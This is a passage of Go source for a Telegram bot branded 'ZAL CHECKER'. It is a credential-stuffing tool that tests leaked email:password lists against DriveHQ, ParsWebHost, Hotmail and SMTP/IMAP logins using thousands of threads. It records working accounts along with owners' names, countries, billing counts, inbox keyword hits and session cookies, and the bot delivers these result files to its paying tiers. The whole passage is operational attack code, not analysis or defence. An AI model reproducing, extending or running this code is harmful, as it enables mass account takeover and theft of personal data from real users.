	u := DH_LOGON + "?username=" + url.QueryEscape(user) + "&password=" + url.QueryEscape(pass) + "&client=cfs&rerquest_id=NULL&_=NULL"
	req, _ := http.NewRequest("GET", u, nil)
	req.Header.Set("User-Agent", ua)
	req.Header.Set("Pragma", "no-cache")
	req.Header.Set("Accept", "*/*")
	req.Header.Set("Accept-Language", "en-US,en;q=0.9")
	resp, err := cl.Do(req); if err != nil { out.Status = "ERROR"; return out }
	body, _ := io.ReadAll(resp.Body); resp.Body.Close()
	if resp.StatusCode == 429 || resp.StatusCode == 503 { out.Status = "RATE_LIMIT"; return out }
	text := string(body)
	if strings.Contains(text, dhKeySuccess) {
		if m := reDhStatus.FindStringSubmatch(text); len(m) > 1 { out.ReturnCode = strings.TrimSpace(m[1]) }
		if m := reDhData.FindStringSubmatch(text); len(m) > 1 {
			rd := strings.TrimSpace(m[1]); if len(rd) > 120 { rd = rd[:120] }
			out.ReturnData = rd
		}
		req2, _ := http.NewRequest("GET", DH_ACTIVATE, nil)
		req2.Header.Set("User-Agent", ua)
		req2.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
		req2.Header.Set("Referer", DH_REFERER)
		resp2, err := cl.Do(req2)
		acc := "active"
		if err == nil {
			b2, _ := io.ReadAll(resp2.Body); resp2.Body.Close()
			t2 := string(b2)
			for _, m := range dhDisabled {
				if strings.Contains(t2, m) { acc = "disabled:" + m[strings.LastIndex(m, "=")+1:]; break }
			}
		}
		out.AccStatus = acc
		out.Status = "HIT"
		return out
	}
	for _, k := range dhKeyFails { if strings.Contains(text, k) { out.Status = "FAIL"; return out } }
	out.Status = "FAIL"
	return out
}

// ---- PARSWEBHOST ----
type ParsResult struct {
	Status   string
	Fullname string
	Country  string
	Services string
	Domains  string
	Invoices string
	Tickets  string
}
var (
	phTokenRe  = regexp.MustCompile(`name=["']token["']\s+value=["']([a-f0-9]+)["']`)
	phTokenRe2 = regexp.MustCompile(`value=["']([a-f0-9]{32,64})["'][^>]*name=["']token["']`)
	phTileRe   = regexp.MustCompile(`(?is)<div\s+class="tile-stat[^"]*">\s*([\d,]+)\s*</div>\s*<div\s+class="tile-title">\s*([^<]+?)\s*</div>`)
	phNameRe   = regexp.MustCompile(`dropdown-header-title[^>]*>\s*([^<\r\n]+)`)
	phDescRe   = regexp.MustCompile(`dropdown-header-desc[^>]*>\s*([^<\r\n]+)`)
	phUA       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
)
func parsCheck(combo string) ParsResult {
	out := ParsResult{Status: "FAIL", Services: "?", Domains: "?", Invoices: "?", Tickets: "?"}
	i := strings.Index(combo, ":")
	if i < 0 { return out }
	email := strings.TrimSpace(combo[:i]); pass := strings.TrimSpace(combo[i+1:])
	if !strings.Contains(email, "@") || pass == "" { return out }
	jar, _ := cookiejar.New(nil)
	cl := &http.Client{
		Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConns: 10, MaxIdleConnsPerHost: 10, IdleConnTimeout: 60 * time.Second},
		Jar:       jar,
		Timeout:   HttpJobTimeout,
		CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
	}
	req, _ := http.NewRequest("GET", PH_LOGIN, nil)
	req.Header.Set("User-Agent", phUA)
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req.Header.Set("Accept-Language", "en-GB,en;q=0.9")
	req.Header.Set("Origin", PH_BASE)
	req.Header.Set("Referer", PH_LOGIN)
	resp, err := cl.Do(req); if err != nil { out.Status = "ERROR"; return out }
	body, _ := io.ReadAll(resp.Body); resp.Body.Close()
	token := ""
	if m := phTokenRe.FindStringSubmatch(string(body)); len(m) > 1 { token = m[1] }
	if token == "" { if m := phTokenRe2.FindStringSubmatch(string(body)); len(m) > 1 { token = m[1] } }
	if token == "" { out.Status = "ERROR"; return out }
	form := url.Values{}
	form.Set("token", token); form.Set("username", email); form.Set("password", pass)
	req2, _ := http.NewRequest("POST", PH_LOGIN, strings.NewReader(form.Encode()))
	req2.Header.Set("User-Agent", phUA)
	req2.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req2.Header.Set("Accept-Language", "en-GB,en;q=0.9")
	req2.Header.Set("Origin", PH_BASE)
	req2.Header.Set("Referer", PH_LOGIN)
	req2.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	resp2, err := cl.Do(req2); if err != nil { out.Status = "ERROR"; return out }
	body2, _ := io.ReadAll(resp2.Body); resp2.Body.Close()
	if resp2.StatusCode == 429 || resp2.StatusCode == 403 { out.Status = "RATE_LIMIT"; return out }
	loc := strings.ToLower(resp2.Header.Get("Location"))
	hit := false
	if resp2.StatusCode >= 300 && resp2.StatusCode < 400 && strings.Contains(loc, "clientarea.php") { hit = true }
	if !hit && resp2.StatusCode == 200 {
		t := strings.ToLower(string(body2))
		if strings.Contains(t, "logout.php") && strings.Contains(t, "clientarea") { hit = true }
	}
	if !hit { out.Status = "FAIL"; return out }
	req3, _ := http.NewRequest("GET", PH_CLIENTAREA, nil)
	req3.Header.Set("User-Agent", phUA)
	req3.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req3.Header.Set("Accept-Language", "en-GB,en;q=0.9")
	req3.Header.Set("Referer", PH_LOGIN)
	resp3, err := cl.Do(req3)
	if err == nil {
		b3, _ := io.ReadAll(resp3.Body); resp3.Body.Close()
		txt := string(b3)
		for _, m := range phTileRe.FindAllStringSubmatch(txt, -1) {
			if len(m) < 3 { continue }
			cnt := strings.ReplaceAll(m[1], ",", "")
			title := strings.TrimSpace(m[2])
			switch {
			case strings.Contains(title, "سرویس"): out.Services = cnt
			case strings.Contains(title, "دامنه"): out.Domains = cnt
			case strings.Contains(title, "صورت"), strings.Contains(title, "پرداخت"): out.Invoices = cnt
			case strings.Contains(title, "تیکت"): out.Tickets = cnt
			}
		}
		if m := phNameRe.FindStringSubmatch(txt); len(m) > 1 { out.Fullname = html.UnescapeString(strings.TrimSpace(m[1])) }
		if m := phDescRe.FindStringSubmatch(txt); len(m) > 1 { out.Country = html.UnescapeString(strings.TrimSpace(m[1])) }
	}
	out.Status = "HIT"
	return out
}

// ---- JOB ----
type Job struct {
	ID           string
	ChatID       int64
	UID          int64
	MessageID    int64
	Kind         string
	Keywords     []string
	Threads      int
	Total        int
	Done         int32
	Good         int32
	Bad          int32
	Smtp         int32
	SmtpHits     int32
	ServiceHits  int32
	HotmailValid int32
	HotmailInbox int32
	Hotmail2FA   int32
	DriveValid   int32
	ParsValid    int32
	CookieValid  int32
	Services     map[string]int32
	ServiceOrder []string
	StartedAt    time.Time
	FinishedAt   time.Time
	StopFlag     int32
	dead         int32
	Lock         sync.Mutex
	SmtpFile     string
	GoodFile     string
	ServicesFile string
	CountryDir   string
	KeywordDir   string
	Stopped      chan struct{}
	stopOnce     sync.Once
	sendOnce     sync.Once
}
var (
	jobs       = map[string]*Job{}
	jobsLock   sync.Mutex
	jobSeq     int64
	pending    = map[string]*pendingJob{}
	pendingLk  sync.Mutex
	pendingUID = map[int64]string{}
)
type pendingJob struct {
	ID       string
	ChatID   int64
	UID      int64
	Combos   []string
	Kind     string
	Keywords []string
	Stage    string
	TS       time.Time
}
func nextJobID() string {
	n := atomic.AddInt64(&jobSeq, 1)
	return fmt.Sprintf("j%d_%d", n, time.Now().Unix())
}
func pathsFor(jobID string) (string, string, string, string, string) {
	d := filepath.Join("results", jobID)
	os.MkdirAll(d, 0755)
	cd := filepath.Join(d, "Countries")
	kd := filepath.Join(d, "Keywords")
	os.MkdirAll(cd, 0755); os.MkdirAll(kd, 0755)
	return filepath.Join(d, "smtp.txt"), filepath.Join(d, "good.txt"), filepath.Join(d, "services.txt"), cd, kd
}
func appendLine(path, line string) {
	f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil { return }
	defer f.Close()
	f.WriteString(line + "\n")
}
func fileNonEmpty(p string) bool {
	st, err := os.Stat(p); return err == nil && st.Size() > 0
}
func sanitizeName(s string) string {
	s = strings.TrimSpace(s)
	s = strings.NewReplacer("<", "_", ">", "_", ":", "_", `"`, "_", "/", "_", `\`, "_", "|", "_", "?", "_", "*", "_").Replace(s)
	if s == "" { return "Unknown" }
	return s
}
func contains(l []string, v string) bool {
	for _, x := range l { if x == v { return true } }
	return false
}
func kindLabelOf(k string) string {
	switch k {
	case "hm": return "HOTMAIL"
	case "dh": return "DRIVEHQ"
	case "ph": return "PARSWEBHOST"
	case "ck": return "COOKIE"
	default: return "SMTP+IMAP"
	}
}
// generic per-call timeout wrapper — no worker can hang the job
func withTimeout[T any](d time.Duration, fn func() T) (T, bool) {
	ch := make(chan T, 1)
	go func() {
		defer func() { recover() }()
		ch <- fn()
	}()
	select {
	case v := <-ch: return v, true
	case <-time.After(d): var zero T; return zero, false
	}
}
func renderJob(job *Job, finished, stopped bool) string {
	var el float64
	if finished || stopped { el = job.FinishedAt.Sub(job.StartedAt).Seconds() } else { el = time.Since(job.StartedAt).Seconds() }
	if el <= 0 { el = 0.001 }
	done := atomic.LoadInt32(&job.Done)
	good := atomic.LoadInt32(&job.Good)
	bad := atomic.LoadInt32(&job.Bad)
	smtpH := atomic.LoadInt32(&job.SmtpHits)
	svcH := atomic.LoadInt32(&job.ServiceHits)
	valid := atomic.LoadInt32(&job.HotmailValid)
	inbox := atomic.LoadInt32(&job.HotmailInbox)
	twofa := atomic.LoadInt32(&job.Hotmail2FA)
	dhv := atomic.LoadInt32(&job.DriveValid)
	phv := atomic.LoadInt32(&job.ParsValid)
	ckv := atomic.LoadInt32(&job.CookieValid)
	cpm := int(float64(done) / el * 60)
	pct := 0.0
	if job.Total > 0 { pct = float64(done) / float64(job.Total) * 100 }
	bar := strings.Repeat("▰", int(20*pct/100)) + strings.Repeat("▱", 20-int(20*pct/100))
	var si, stx string
	switch {
	case stopped: si, stx = em("stop"), "ꜱᴛᴏᴘᴘᴇᴅ"
	case finished: si, stx = em("done"), "ꜰɪɴɪꜱʜᴇᴅ"
	default: si, stx = em("run"), "ʀᴜɴɴɪɴɢ"
	}
	kl := kindLabelOf(job.Kind)
	lines := []string{crownHeader(), "<b>" + boldSans("ZAL CHECKER") + "</b>",
		fmt.Sprintf("%s <b>%s</b>   <code>%s</code>  <b>%5.1f%%</b>", si, stx, bar, pct),
		fmt.Sprintf("%s <code>%s</code>   %s <code>%d ᴄᴘᴍ</code>   %s <code>%d</code>", em("time"), fmtElapsed(el), em("speed"), cpm, em("threads"), job.Threads),
		"<i>" + sc("mode") + ": <b>" + kl + "</b></i>", ""}
	var blk string
	switch job.Kind {
	case "hm":
		blk = fmt.Sprintf("%s <b>%s</b>    · <code>%d</code>\n", em("good"), sc("Valid"), valid) +
			fmt.Sprintf("%s <b>%s</b>    · <code>%d</code>\n", em("inbox"), sc("Inbox"), inbox) +
			fmt.Sprintf("%s <b>%s</b>      · <code>%d</code>\n", em("time"), sc("2FA"), twofa) +
			fmt.Sprintf("%s <b>%s</b>        · <code>%d</code>\n", em("bad"), sc("Bad"), bad) +
			fmt.Sprintf("%s <b>%s</b>    · <code>%d/%d</code>", em("checked"), sc("Checked"), done, job.Total)
	case "dh":
		blk = fmt.Sprintf("%s <b>%s</b>       · <code>%d</code>\n", em("good"), sc("Hits"), dhv) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), bad) +
			fmt.Sprintf("%s <b>%s</b>     · <code>%d/%d</code>", em("checked"), sc("Checked"), done, job.Total)
	case "ph":
		blk = fmt.Sprintf("%s <b>%s</b>       · <code>%d</code>\n", em("good"), sc("Hits"), phv) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), bad) +
			fmt.Sprintf("%s <b>%s</b>     · <code>%d/%d</code>", em("checked"), sc("Checked"), done, job.Total)
	case "ck":
		blk = fmt.Sprintf("%s <b>%s</b>       · <code>%d</code>\n", em("good"), sc("Valid"), ckv) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), bad) +
			fmt.Sprintf("%s <b>%s</b>     · <code>%d/%d</code>", em("checked"), sc("Checked"), done, job.Total)
	default:
		blk = fmt.Sprintf("%s <b>%s</b>    · <code>%d</code>\n", em("smtp"), sc("SMTP Hits"), smtpH) +
			fmt.Sprintf("%s <b>%s</b> · <code>%d</code>\n", em("service"), sc("Service Hits"), svcH) +
			fmt.Sprintf("%s <b>%s</b>   · <code>%d</code>\n", em("good"), sc("Good Mail"), good) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), bad) +
			fmt.Sprintf("%s <b>%s</b>     · <code>%d/%d</code>", em("checked"), sc("Checked"), done, job.Total)
	}
	lines = append(lines, "<blockquote>"+blk+"</blockquote>")
	job.Lock.Lock()
	ord := append([]string{}, job.ServiceOrder...)
	svcs := map[string]int32{}
	for k, v := range job.Services { svcs[k] = v }
	job.Lock.Unlock()
	if len(ord) > 0 {
		lines = append(lines, "")
		switch job.Kind {
		case "hm": lines = append(lines, "<b>"+em("target")+" "+sc("Keywords Found")+"</b>")
		case "ck": lines = append(lines, "<b>"+em("target")+" "+sc("Domains Found")+"</b>")
		default: lines = append(lines, "<b>"+em("target")+" "+sc("Services Found")+"</b>")
		}
		var bl []string
		max := 20
		if len(ord) < max { max = len(ord) }
		for _, svc := range ord[:max] {
			bl = append(bl, fmt.Sprintf("%s <b>%s</b> · <code>%d</code>", emService(svc), sc(svc), svcs[svc]))
		}
		lines = append(lines, "<blockquote>"+strings.Join(bl, "\n")+"</blockquote>")
	}
	return strings.Join(lines, "\n")
}
func stopKB(jobID string) map[string]any {
	return map[string]any{"inline_keyboard": [][]map[string]any{{{"text": "ꜱᴛᴏᴘ", "callback_data": "stop:" + jobID}}}}
}
func typeKB(pid string, isVIPUser bool) map[string]any {
	rows := [][]map[string]any{
		{{"text": "ꜱᴍᴛᴘ+ɪᴍᴀᴘ", "callback_data": "pt:sm:" + pid}, {"text": "ʜᴏᴛᴍᴀɪʟ", "callback_data": "pt:hm:" + pid}},
		{{"text": "ᴅʀɪᴠᴇʜǫ", "callback_data": "pt:dh:" + pid}, {"text": "ᴄᴏᴏᴋɪᴇ", "callback_data": "pt:ck:" + pid}},
	}
	if isVIPUser {
		rows = append(rows, []map[string]any{
			{"text": "ᴘᴀʀꜱᴡᴇʙʜᴏꜱᴛ", "callback_data": "pt:ph:" + pid},
		})
	}
	rows = append(rows, []map[string]any{{"text": "ᴄᴀɴᴄᴇʟ", "callback_data": "pc:" + pid}})
	return map[string]any{"inline_keyboard": rows}
}
func threadsKB(pid string, tier string) map[string]any {
	var opts []int
	switch tier {
	case "admin": opts = []int{100, 500, 1000, 2000, 5000, 7500, 10000}
	case "vip":   opts = []int{100, 500, 1000, 2000, 3000, 5000, 7500}
	default:      opts = []int{100, 200, 500, 1000, 2000, 3000}
	}
	rows := [][]map[string]any{}
	rowSize := 4
	if len(opts) <= 6 { rowSize = 3 }
	var cur []map[string]any
	for i, t := range opts {
		cur = append(cur, map[string]any{"text": strconv.Itoa(t), "callback_data": fmt.Sprintf("thr:%s:%d", pid, t)})
		if len(cur) == rowSize || i == len(opts)-1 { rows = append(rows, cur); cur = nil }
	}
	rows = append(rows, []map[string]any{{"text": "ᴄᴀɴᴄᴇʟ", "callback_data": "pc:" + pid}})
	return map[string]any{"inline_keyboard": rows}
}
func adminPanelKB() map[string]any {
	lbl := "ᴛᴇꜱᴛɪɴɢ ᴍᴏᴅᴇ · ᴏꜰꜰ"
	if isTestingMode() { lbl = "ᴛᴇꜱᴛɪɴɢ ᴍᴏᴅᴇ · ᴏɴ" }
	return map[string]any{"inline_keyboard": [][]map[string]any{
		{{"text": lbl, "callback_data": "adm:tm"}},
		{{"text": "ꜱᴛᴀᴛꜱ", "callback_data": "adm:stats"}, {"text": "ᴜꜱᴇʀꜱ", "callback_data": "adm:users"}},
		{{"text": "ᴠɪᴘ ʟɪꜱᴛ", "callback_data": "adm:viplist"}, {"text": "ʙᴀᴄᴋᴜᴘ", "callback_data": "adm:backup"}},
		{{"text": "ᴄʟᴏꜱᴇ", "callback_data": "adm:close"}},
	}}
}
func logJob(job *Job, uid int64, stopped bool) {
	if LogChatID == 0 { return }
	u := userGet(uid)
	name := u.FirstName; if name == "" { name = u.Username }
	if name == "" { name = strconv.FormatInt(uid, 10) }
	ns := strings.NewReplacer("<", "", ">", "", "&", "&amp;").Replace(name)
	ul := fmt.Sprintf(`<a href="tg://user?id=%d">%s</a>`, uid, ns)
	el := job.FinishedAt.Sub(job.StartedAt).Seconds()
	if el <= 0 { el = 0.001 }
	done := atomic.LoadInt32(&job.Done)
	cpm := int(float64(done) / el * 60)
	title := "ɴᴇᴡ ᴊᴏʙ ᴄᴏᴍᴘʟᴇᴛᴇ"
	icon := em("target")
	if stopped { title = "ꜱᴛᴏᴘᴘᴇᴅ"; icon = em("stop") }
	txt := crownHeader() + "\n" + icon + " <b>" + title + "</b>\n\n<blockquote>" +
		fmt.Sprintf("%s <b>%s</b> · %s\n", em("user"), sc("user"), ul) +
		fmt.Sprintf("%s <b>%s</b> · <code>%d</code>\n", em("id"), sc("id"), uid) +
		fmt.Sprintf("%s <b>%s</b> · <code>%s</code>\n", em("gear"), sc("mode"), kindLabelOf(job.Kind)) +
		fmt.Sprintf("%s <b>%s</b> · <code>%d</code>\n", em("checked"), sc("combos"), job.Total) +
		fmt.Sprintf("%s <b>%s</b> · <code>%d</code>\n", em("good"), sc("good"), atomic.LoadInt32(&job.Good)) +
		fmt.Sprintf("%s <b>%s</b> · <code>%d</code>\n", em("speed"), sc("cpm"), cpm) +
		fmt.Sprintf("%s <b>%s</b> · <code>%s</code>", em("time"), sc("time"), fmtElapsed(el)) +
		"</blockquote>"
	apiSendMessage(LogChatID, txt, nil)
}
func runJob(job *Job, combos []string) {
	jobSem <- struct{}{}
	defer func() { <-jobSem }()
	stopDash := make(chan struct{})
	var dwg sync.WaitGroup
	dwg.Add(1)
	go func() {
		defer dwg.Done()
		for {
			select {
			case <-stopDash: return
			case <-time.After(EditInterval):
				if atomic.LoadInt32(&job.dead) == 1 { return }
				done := atomic.LoadInt32(&job.Done)
				stop := atomic.LoadInt32(&job.StopFlag) == 1
				var kb map[string]any
				if !stop { kb = stopKB(job.ID) }
				apiEditMessage(job.ChatID, job.MessageID, renderJob(job, false, false), kb)
				if int(done) >= job.Total || stop { return }
			}
		}
	}()
	sem := make(chan struct{}, job.Threads)
	var wg sync.WaitGroup
	for _, combo := range combos {
		if atomic.LoadInt32(&job.StopFlag) == 1 { break }
		wg.Add(1)
		sem <- struct{}{}
		globalSem <- struct{}{}
		go func(c string) {
			defer wg.Done()
			defer func() { <-sem }()
			defer func() { <-globalSem }()
			defer func() { recover() }()
			if atomic.LoadInt32(&job.StopFlag) == 1 { return }
			switch job.Kind {
			case "hm": runHotmailWorker(job, c)
			case "dh": runDriveWorker(job, c)
			case "ph": runParsWorker(job, c)
			case "ck": runCookieWorker(job, c)
			default:   runSMTPWorker(job, c)
			}
		}(combo)
	}
	wg.Wait()
	close(stopDash)
	dwg.Wait()
	job.sendOnce.Do(func() {
		job.Lock.Lock()
		job.FinishedAt = time.Now()
		job.Lock.Unlock()
		stopped := atomic.LoadInt32(&job.StopFlag) == 1
		sendJobResults(job, stopped)
	})
}
func jobWatchStop(job *Job) {
	<-job.Stopped
	time.Sleep(StopGrace)
	job.sendOnce.Do(func() {
		job.Lock.Lock()
		job.FinishedAt = time.Now()
		job.Lock.Unlock()
		sendJobResults(job, true)
	})
}
func runSMTPWorker(job *Job, c string) {
	r, ok := withTimeout(WorkerTimeoutSM, func() ComboResult { return checkComboSync(c) })
	if !ok { r = ComboResult{Status: "bad"} }
	atomic.AddInt32(&job.Done, 1)
	country := "Unknown"
	switch r.Status {
	case "good":
		atomic.AddInt32(&job.Good, 1)
		atomic.AddInt32(&job.ServiceHits, 1)
		job.Lock.Lock()
		job.Services[r.Service]++
		if !contains(job.ServiceOrder, r.Service) { job.ServiceOrder = append(job.ServiceOrder, r.Service) }
		job.Lock.Unlock()
		country = lookupCountry(c)
		appendLine(job.GoodFile, c+" | "+countryWithFlag(country))
		appendLine(job.ServicesFile, r.Service+" | "+c+" | "+countryWithFlag(country))
		if country != "Unknown" { appendLine(filepath.Join(job.CountryDir, sanitizeName(country)+".txt"), c+" | "+countryWithFlag(country)) }
	case "smtp":
		atomic.AddInt32(&job.Smtp, 1)
		country = lookupCountry(c)
		appendLine(job.GoodFile, c+" | "+countryWithFlag(country))
		if country != "Unknown" { appendLine(filepath.Join(job.CountryDir, sanitizeName(country)+".txt"), c+" | "+countryWithFlag(country)) }
	default:
		atomic.AddInt32(&job.Bad, 1)
	}
	if r.SmtpHost != "" && r.SmtpPort > 0 && r.ImapHost != "" {
		atomic.AddInt32(&job.SmtpHits, 1)
		i := strings.Index(c, ":")
		eml, pw := c[:i], c[i+1:]
		if country == "Unknown" { country = lookupCountry(c) }
		line := fmt.Sprintf("%s:%d | %s:%s | %s:993 | %s", r.SmtpHost, r.SmtpPort, eml, pw, r.ImapHost, countryWithFlag(country))
		appendLine(job.SmtpFile, line)
	}
}
func runHotmailWorker(job *Job, c string) {
	r, ok := withTimeout(WorkerTimeoutHM, func() HotmailResult { return hotmailCheckSync(c, job.Keywords) })
	if !ok { r = HotmailResult{Status: "BAD"} }
	atomic.AddInt32(&job.Done, 1)
	switch r.Status {
	case "SUCCESS":
		atomic.AddInt32(&job.HotmailValid, 1)
		atomic.AddInt32(&job.Good, 1)
		appendLine(job.GoodFile, c)
		if r.TotalHit > 0 {
			atomic.AddInt32(&job.HotmailInbox, 1)
			line := fmt.Sprintf("%s | %d Email Found | [%s]", c, r.TotalHit, strings.Join(r.Found, " | "))
			appendLine(job.ServicesFile, line)
			for _, hit := range r.Found {
				parts := strings.SplitN(hit, ":", 2)
				if len(parts) == 2 {
					appendLine(filepath.Join(job.KeywordDir, sanitizeName(parts[0])+".txt"),
						fmt.Sprintf("%s | %s Email | [%s: %s]", c, parts[1], parts[0], parts[1]))
				}
			}
			job.Lock.Lock()
			for _, hit := range r.Found {
				parts := strings.SplitN(hit, ":", 2)
				if len(parts) == 2 {
					job.Services[parts[0]]++
					if !contains(job.ServiceOrder, parts[0]) { job.ServiceOrder = append(job.ServiceOrder, parts[0]) }
				}
			}
			job.Lock.Unlock()
		}
	case "2FA":
		atomic.AddInt32(&job.Hotmail2FA, 1)
		appendLine(job.SmtpFile, c)
	default:
		atomic.AddInt32(&job.Bad, 1)
	}
}
func runDriveWorker(job *Job, c string) {
	r, ok := withTimeout(WorkerTimeoutDH, func() DriveResult { return drivehqCheck(c) })
	if !ok { r = DriveResult{Status: "FAIL"} }
	atomic.AddInt32(&job.Done, 1)
	switch r.Status {
	case "HIT":
		atomic.AddInt32(&job.DriveValid, 1)
		atomic.AddInt32(&job.Good, 1)
		job.Lock.Lock()
		job.Services[r.AccStatus]++
		if !contains(job.ServiceOrder, r.AccStatus) { job.ServiceOrder = append(job.ServiceOrder, r.AccStatus) }
		job.Lock.Unlock()
		parts := []string{c, "status=" + r.AccStatus}
		if r.ReturnCode != "" { parts = append(parts, "rc="+r.ReturnCode) }
		if r.ReturnData != "" { parts = append(parts, "rd="+r.ReturnData) }
		appendLine(job.GoodFile, strings.Join(parts, " | "))
	default:
		atomic.AddInt32(&job.Bad, 1)
	}
}
func runParsWorker(job *Job, c string) {
	r, ok := withTimeout(WorkerTimeoutPH, func() ParsResult { return parsCheck(c) })
	if !ok { r = ParsResult{Status: "FAIL"} }
	atomic.AddInt32(&job.Done, 1)
	switch r.Status {
	case "HIT":
		atomic.AddInt32(&job.ParsValid, 1)
		atomic.AddInt32(&job.Good, 1)
		job.Lock.Lock()
		job.Services["active"]++
		if !contains(job.ServiceOrder, "active") { job.ServiceOrder = append(job.ServiceOrder, "active") }
		job.Lock.Unlock()
		line := fmt.Sprintf("%s | s=%s d=%s i=%s t=%s | %s | %s", c, r.Services, r.Domains, r.Invoices, r.Tickets, r.Fullname, r.Country)
		appendLine(job.GoodFile, line)
	default:
		atomic.AddInt32(&job.Bad, 1)
	}
}
func runCookieWorker(job *Job, c string) {
	r, ok := withTimeout(WorkerTimeoutCK, func() CookieResult { return genericCookieCheck(c) })
	if !ok { r = CookieResult{Status: "BAD"} }
	atomic.AddInt32(&job.Done, 1)
	switch r.Status {
	case "HIT":
		atomic.AddInt32(&job.CookieValid, 1)
		atomic.AddInt32(&job.Good, 1)
		line := fmt.Sprintf("%s | email=%s | %s | title=%s | cookie=%s",
			r.URL, r.Email, countryWithFlag(r.Country), r.Title, r.Cookie)
		appendLine(job.GoodFile, line)
		if r.Country != "" && r.Country != "Unknown" {
			appendLine(filepath.Join(job.CountryDir, sanitizeName(r.Country)+".txt"), line)
		}
		host := ""
		if u, err := url.Parse(r.URL); err == nil { host = u.Hostname() }
		if host == "" { host = "unknown" }
		parts := strings.Split(host, ".")
		if len(parts) >= 2 { host = strings.Join(parts[len(parts)-2:], ".") }
		job.Lock.Lock()
		job.Services[host]++
		if !contains(job.ServiceOrder, host) { job.ServiceOrder = append(job.ServiceOrder, host) }
		job.Lock.Unlock()
		appendLine(job.ServicesFile, fmt.Sprintf("%s | %s | %s | %s", host, r.Email, r.Title, r.Cookie))
	default:
		atomic.AddInt32(&job.Bad, 1)
	}
}
func sendJobResults(job *Job, stopped bool) {
	atomic.StoreInt32(&job.dead, 1)
	apiEditMessage(job.ChatID, job.MessageID, renderJob(job, !stopped, stopped), nil)
	el := job.FinishedAt.Sub(job.StartedAt).Seconds()
	if el <= 0 { el = 0.001 }
	done := atomic.LoadInt32(&job.Done)
	cpm := int(float64(done) / el * 60)
	header := "ᴊᴏʙ ᴄᴏᴍᴘʟᴇᴛᴇ"
	icon := em("done")
	if stopped { header = "ꜱᴛᴏᴘᴘᴇᴅ"; icon = em("stop") }
	var body string
	switch job.Kind {
	case "hm":
		body = fmt.Sprintf("%s <b>%s</b>    · <code>%d</code>\n", em("good"), sc("Valid"), atomic.LoadInt32(&job.HotmailValid)) +
			fmt.Sprintf("%s <b>%s</b>    · <code>%d</code>\n", em("inbox"), sc("Inbox"), atomic.LoadInt32(&job.HotmailInbox)) +
			fmt.Sprintf("%s <b>%s</b>      · <code>%d</code>\n", em("time"), sc("2FA"), atomic.LoadInt32(&job.Hotmail2FA)) +
			fmt.Sprintf("%s <b>%s</b>        · <code>%d</code>\n", em("bad"), sc("Bad"), atomic.LoadInt32(&job.Bad))
	case "dh":
		body = fmt.Sprintf("%s <b>%s</b>       · <code>%d</code>\n", em("good"), sc("Hits"), atomic.LoadInt32(&job.DriveValid)) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), atomic.LoadInt32(&job.Bad))
	case "ph":
		body = fmt.Sprintf("%s <b>%s</b>       · <code>%d</code>\n", em("good"), sc("Hits"), atomic.LoadInt32(&job.ParsValid)) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), atomic.LoadInt32(&job.Bad))
	case "ck":
		body = fmt.Sprintf("%s <b>%s</b>       · <code>%d</code>\n", em("good"), sc("Valid"), atomic.LoadInt32(&job.CookieValid)) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), atomic.LoadInt32(&job.Bad))
	default:
		body = fmt.Sprintf("%s <b>%s</b>    · <code>%d</code>\n", em("smtp"), sc("SMTP Hits"), atomic.LoadInt32(&job.SmtpHits)) +
			fmt.Sprintf("%s <b>%s</b> · <code>%d</code>\n", em("service"), sc("Service Hits"), atomic.LoadInt32(&job.ServiceHits)) +
			fmt.Sprintf("%s <b>%s</b>   · <code>%d</code>\n", em("good"), sc("Good Mail"), atomic.LoadInt32(&job.Good)) +
			fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("bad"), sc("Bad"), atomic.LoadInt32(&job.Bad))
	}
	summary := crownHeader() + "\n" + icon + " <b>" + boldSans(header) + "</b>\n\n<blockquote>" + body +
		fmt.Sprintf("%s <b>%s</b>     · <code>%d/%d</code>\n", em("checked"), sc("Checked"), done, job.Total) +
		fmt.Sprintf("%s <b>%s</b>         · <code>%d</code>\n", em("speed"), sc("CPM"), cpm) +
		fmt.Sprintf("%s <b>%s</b>        · <code>%s</code>\n", em("time"), sc("Time"), fmtElapsed(el)) +
		fmt.Sprintf("%s <b>%s</b>     · <code>%d</code>\n", em("threads"), sc("Threads"), job.Threads) +
		fmt.Sprintf("%s <b>%s</b>        · <code>%s</code>", em("gear"), sc("Mode"), kindLabelOf(job.Kind)) +
		"</blockquote>"
	job.Lock.Lock()
	ord := append([]string{}, job.ServiceOrder...)
	svcs := map[string]int32{}
	for k, v := range job.Services { svcs[k] = v }
	job.Lock.Unlock()
	if len(ord) > 0 {
		var bl []string
		max := 25
		if len(ord) < max { max = len(ord) }
		for _, svc := range ord[:max] {
			bl = append(bl, fmt.Sprintf("• <b>%s</b> · <code>%d</code>", svc, svcs[svc]))
		}
		summary += "\n" + em("target") + " <b>" + sc("breakdown") + "</b>\n<blockquote>" +
			strings.Join(bl, "\n") + "</blockquote>"
	}
	apiSendMessageSync(job.ChatID, summary, nil)
	files := []struct{ p, l, e string }{
		{job.GoodFile, "ɢᴏᴏᴅ", em("good")},
		{job.ServicesFile, "ʜɪᴛꜱ", em("service")},
		{job.SmtpFile, "ꜱᴍᴛᴘ · 2ꜰᴀ", em("smtp")},
